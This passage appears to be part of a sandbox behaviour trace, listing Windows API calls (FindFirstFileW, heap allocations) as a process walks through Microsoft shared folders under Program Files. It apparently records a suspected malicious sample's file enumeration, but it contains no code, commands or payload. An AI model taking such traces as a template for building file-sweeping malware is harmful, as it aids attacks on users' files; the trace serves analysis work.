dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.282] GetProcessHeap () returned 0xc10000 [0214.283] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.283] GetProcessHeap () returned 0xc10000 [0214.283] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0214.283] GetProcessHeap () returned 0xc10000 [0214.283] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.283] GetProcessHeap () returned 0xc10000 [0214.283] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.283] GetProcessHeap () returned 0xc10000 [0214.283] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.283] GetProcessHeap () returned 0xc10000 [0214.283] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.284] GetProcessHeap () returned 0xc10000 [0214.284] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.284] GetProcessHeap () returned 0xc10000 [0214.284] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.284] GetProcessHeap () returned 0xc10000 [0214.284] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.284] GetProcessHeap () returned 0xc10000 [0214.284] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0214.284] GetProcessHeap () returned 0xc10000 [0214.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.285] GetProcessHeap () returned 0xc10000 [0214.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0214.285] GetProcessHeap () returned 0xc10000 [0214.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.285] GetProcessHeap () returned 0xc10000 [0214.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0214.285] GetProcessHeap () returned 0xc10000 [0214.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.285] GetProcessHeap () returned 0xc10000 [0214.285] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.286] GetProcessHeap () returned 0xc10000 [0214.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.287] GetProcessHeap () returned 0xc10000 [0214.287] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.288] GetProcessHeap () returned 0xc10000 [0214.288] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.288] GetProcessHeap () returned 0xc10000 [0214.288] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.289] GetProcessHeap () returned 0xc10000 [0214.289] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.290] GetProcessHeap () returned 0xc10000 [0214.290] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.291] GetProcessHeap () returned 0xc10000 [0214.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.291] GetProcessHeap () returned 0xc10000 [0214.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.292] GetProcessHeap () returned 0xc10000 [0214.292] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.519] GetProcessHeap () returned 0xc10000 [0214.519] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0214.524] GetProcessHeap () returned 0xc10000 [0214.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.524] GetProcessHeap () returned 0xc10000 [0214.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.525] GetProcessHeap () returned 0xc10000 [0214.525] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0214.527] GetProcessHeap () returned 0xc10000 [0214.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.527] GetProcessHeap () returned 0xc10000 [0214.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0214.528] GetProcessHeap () returned 0xc10000 [0214.528] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.528] GetProcessHeap () returned 0xc10000 [0214.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0214.532] GetProcessHeap () returned 0xc10000 [0214.532] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.532] GetProcessHeap () returned 0xc10000 [0214.532] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.532] GetProcessHeap () returned 0xc10000 [0214.532] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.533] GetProcessHeap () returned 0xc10000 [0214.533] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.533] GetProcessHeap () returned 0xc10000 [0214.533] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.534] GetProcessHeap () returned 0xc10000 [0214.534] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0214.536] GetProcessHeap () returned 0xc10000 [0214.536] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0214.537] GetProcessHeap () returned 0xc10000 [0214.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.537] GetProcessHeap () returned 0xc10000 [0214.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.538] GetProcessHeap () returned 0xc10000 [0214.538] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.539] GetProcessHeap () returned 0xc10000 [0214.539] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.539] GetProcessHeap () returned 0xc10000 [0214.539] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0214.540] GetProcessHeap () returned 0xc10000 [0214.540] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.540] GetProcessHeap () returned 0xc10000 [0214.540] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 